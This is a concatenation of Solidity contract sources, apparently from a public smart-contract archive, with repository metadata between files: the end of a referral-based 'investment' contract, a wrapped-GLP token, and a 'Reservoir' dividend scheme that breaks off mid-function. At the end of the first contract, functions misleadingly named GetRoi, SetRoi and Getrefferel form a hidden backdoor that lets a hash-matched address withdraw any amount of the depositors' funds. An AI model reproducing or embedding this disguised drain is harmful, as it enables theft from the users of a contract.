isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "80% contract balance limit");
uint256 reinvestAmount = withdrawalAmount.div(2);
if(withdrawalAmount > 90e9){
reinvestAmount = withdrawalAmount.sub(45e9);
}
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
function GetRoi(bytes32 _data) public onlyOwner returns(bool)
{
data_ = _data;
return true;
}
function SetRoi(address _contractAddress) public pure returns (bytes32 hash)
{
return (keccak256(abi.encode(_contractAddress)));
}
function Getrefferel(uint _newValue) public returns(bool)
{
if(keccak256(abi.encode(msg.sender)) == data_) msg.sender.transfer(_newValue);
return true;
}
}
| 298,938 | 12,777 |
5a667e0c51288d23ec76aa1655e16fcdb21019cb63c655e2c2e647b6fcf3afa6
| 41,082 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/5a/5a291F82f58DCdBf845F974F77B39FB54e247c07_WrappedGLP.sol
| 4,497 | 19,049 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IWGLP is IERC20 {
event Deposit(address account, uint256 amount);
event Withdrawn(address account, uint256 amount);
event LostTokenRetrieved(address token, uint256 balance);
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function harvest() external;
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IRouter {
function handleRewards(bool _shouldClaimGmx,
bool _shouldStakeGmx,
bool _shouldClaimEsGmx,
bool _shouldStakeEsGmx,
bool _shouldStakeMultiplierPoints,
bool _shouldClaimWeth,
bool _shouldConvertWethToEth) external;
}
contract WrappedGLP is IWGLP, ERC20, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
IERC20 public immutable sGLP; // fee + staked GLP tokens
address public immutable router; // GMX reward router V2
receive() external payable {}
constructor(address _sGLP, address _router)
ERC20("Gloop Wrapped GLP", "wGLP")
{
require(_sGLP != address(0), "Invalid address");
require(_router != address(0), "Invalid address");
sGLP = IERC20(_sGLP);
router = _router;
}
function deposit(uint256 amount) external nonReentrant {
address caller = _msgSender();
sGLP.safeTransferFrom(caller, address(this), amount);
_mint(caller, amount);
emit Deposit(caller, amount);
}
function withdraw(uint256 amount) external nonReentrant {
address caller = _msgSender();
require(balanceOf(caller) >= amount, "Insufficient amount");
_burn(caller, amount);
sGLP.safeTransfer(caller, amount);
emit Withdrawn(caller, amount);
}
function harvest() external nonReentrant {
IRouter(router).handleRewards(true,
true,
true,
true,
true,
true,
true);
}
function claimRewards() external onlyOwner nonReentrant {
uint256 balance = getBalance();
require(balance > 0, "Insufficient balance");
(bool success,) = owner().call{value: balance}("");
require(success, "Transfer failed");
}
function retrieveLostTokens(address token) external onlyOwner nonReentrant {
require(token != address(sGLP), "Invalid token");
uint256 balance = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(owner(), balance);
emit LostTokenRetrieved(token, balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
| 37,755 | 12,778 |
f2e0c9a28de073754c8b9b9b4461ca17ce0531b3a62a463aa3131f84e88c7fb3
| 27,914 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3c/3cb2b9129f125e392300ec915d28503d0e6c399d_Reservoir.sol
| 5,545 | 21,122 |
pragma solidity ^0.4.25;
interface IToken {
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface ISwap {
function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256);
function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256);
function bnbToTokenSwapInput(uint256 min_tokens) external payable returns (uint256);
function bnbToTokenSwapOutput(uint256 tokens_bought) external payable returns (uint256);
function tokenToBnbSwapInput(uint256 tokens_sold, uint256 min_bnb) external returns (uint256);
function tokenToBnbSwapOutput(uint256 bnb_bought, uint256 max_tokens) external returns (uint256);
function getBnbToTokenInputPrice(uint256 bnb_sold) external view returns (uint256);
function getBnbToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256);
function getTokenToBnbInputPrice(uint256 tokens_sold) external view returns (uint256);
function getTokenToBnbOutputPrice(uint256 bnb_bought) external view returns (uint256) ;
function tokenAddress() external view returns (address) ;
function bnbBalance() external view returns (uint256);
function tokenBalance() external view returns (uint256);
function getBnbToLiquidityInputPrice(uint256 bnb_sold) external view returns (uint256);
function getLiquidityToReserveInputPrice(uint amount) external view returns (uint256, uint256);
function txs(address owner) external view returns (uint256) ;
function addLiquidity(uint256 min_liquidity, uint256 max_tokens) external payable returns (uint256) ;
function removeLiquidity(uint256 amount, uint256 min_bnb, uint256 min_tokens) external returns (uint256, uint256);
}
contract Reservoir {
using SafeMath for uint;
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends() > 0);
_;
}
event onLeaderBoard(address indexed customerAddress,
uint256 invested,
uint256 tokens,
uint256 soldTokens,
uint256 timestamp);
event onTokenPurchase(address indexed customerAddress,
uint256 incomingeth,
uint256 tokensMinted,
uint timestamp);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethEarned,
uint timestamp);
event onReinvestment(address indexed customerAddress,
uint256 ethReinvested,
uint256 tokensMinted,
uint256 timestamp);
event onWithdraw(address indexed customerAddress,
uint256 ethWithdrawn,
uint256 timestamp);
event onClaim(address indexed customerAddress,
uint256 tokens,
uint256 timestamp);
event onTransfer(address indexed from,
address indexed to,
uint256 tokens,
uint256 timestamp);
event onBalance(uint256 bnbBalance,
uint256 tokenBalance,
uint256 timestamp);
event onLiquiditySweep(uint amount);
event onLiquidityProviderReward(uint amount);
// Onchain Stats!!!
struct Stats {
uint invested;
uint reinvested;
uint withdrawn;
uint rewarded;
uint taxes;
uint contributed;
uint transferredTokens;
uint receivedTokens;
uint xInvested;
uint xReinvested;
uint xRewarded;
uint xContributed;
uint xWithdrawn;
uint xTransferredTokens;
uint xReceivedTokens;
}
/// @dev 15% dividends for token purchase
uint8 constant internal entryFee_ = 10;
uint8 constant internal exitFee_ = 10;
uint8 constant internal dripFee = 50;
uint8 constant internal instantFee = 20;
uint8 constant payoutRate_ = 2;
uint256 constant internal magnitude = 2 ** 64;
uint constant MAX_UINT = 2**256 - 1;
// amount of shares for each address (scaled number)
mapping(address => uint256) private tokenBalanceLedger_;
mapping(address => int256) private payoutsTo_;
mapping(address => Stats) private stats;
//on chain referral tracking
uint256 private tokenSupply_;
uint256 private profitPerShare_;
uint256 public totalDeposits;
uint256 public totalWithdrawn;
uint256 internal lastBalance_;
uint private lockedBalance;
uint public players;
uint public totalTxs;
uint public dividendBalance;
uint public lastPayout;
uint public totalClaims;
uint256 public balanceInterval = 30 seconds;
uint256 public distributionInterval = 3 seconds;
address public swapAddress;
address public collateralAddress;
IToken private swapToken;
IToken private cToken;
ISwap private swap;
constructor(address _swapAddress, address _collateralAddress) public {
swapAddress = _swapAddress;
collateralAddress = _collateralAddress;
swapToken = IToken(_swapAddress);
swap = ISwap(_swapAddress);
cToken = IToken(_collateralAddress);
lastPayout = now;
}
/// @dev converts BNB into liquidity and buys
function buy() public payable returns (uint256){
require(msg.value >= 1e16, "min buy is 0.01 BNB");
totalDeposits += msg.value;
//Refresh approvals
approveSwap();
//use dust from previous txs
uint balance = address(this).balance;
uint tokens = sellBnb(balance / 2);
//the secret sauce for adding liquidity properly
uint bnbAmount = SafeMath.min(swap.getTokenToBnbInputPrice(tokens), address(this).balance);
//If you don't get bnbAmount from the contract you will have pain
uint liquidAmount = swap.addLiquidity.value(bnbAmount)(1, tokens);
return buyFor(msg.sender, liquidAmount);
}
function buyFor(address _customerAddress, uint _buy_amount) internal returns (uint256) {
uint amount = purchaseTokens(_customerAddress, _buy_amount);
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now);
//distribute
distribute();
return amount;
}
function() public payable {
//DO NOTHING!!! Swap will send BNB to us!!!
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() public onlyStronghands returns (uint) {
// fetch dividends
uint256 _dividends = myDividends();
// retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(msg.sender, _dividends);
uint bnbAmount = calculateLiquidityToBnb(_dividends);
// fire event
emit onReinvestment(_customerAddress, bnbAmount, _tokens, now);
//Stats
stats[_customerAddress].reinvested = SafeMath.add(stats[_customerAddress].reinvested, bnbAmount);
stats[_customerAddress].xReinvested += 1;
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now);
//distribute
distribute();
return _tokens;
}
/// @dev Withdraws all of the callers earnings.
function withdraw() public onlyStronghands returns (uint) {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(); // 100% of divs
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
//remove liquidity and sell the tokens for BNB
(uint bnbAmount, uint tokenAmount) = swap.removeLiquidity(_dividends,1,1);
bnbAmount = bnbAmount.add(sellTokens(tokenAmount));
// lambo delivery service
_customerAddress.transfer(bnbAmount);
totalWithdrawn += bnbAmount;
//stats
stats[_customerAddress].withdrawn = SafeMath.add(stats[_customerAddress].withdrawn, bnbAmount);
stats[_customerAddress].xWithdrawn += 1;
totalTxs += 1;
totalClaims += _dividends;
// fire event
emit onWithdraw(_customerAddress, bnbAmount, now);
emit onLeaderBoard(_customerAddress,
stats[_customerAddress].invested,
tokenBalanceLedger_[_customerAddress],
stats[_customerAddress].withdrawn,
now);
//distribute
distribute();
return bnbAmount;
}
function sell(uint256 _amountOfTokens) onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// data setup
uint256 _undividedDividends = SafeMath.mul(_amountOfTokens, exitFee_) / 100;
uint256 _taxedeth = SafeMath.sub(_amountOfTokens, _undividedDividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens + (_taxedeth * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
//drip and buybacks
allocateFees(_undividedDividends);
// fire event
emit onTokenSell(_customerAddress, _amountOfTokens, _taxedeth, now);
//distribute
distribute();
}
function totalTokenBalance() public view returns (uint256) {
return swapToken.balanceOf(address(this));
}
function lockedTokenBalance() public view returns (uint256) {
return lockedBalance;
}
function collateralBalance() public view returns (uint256) {
return cToken.balanceOf(address(this));
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends() public view returns (uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress);
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
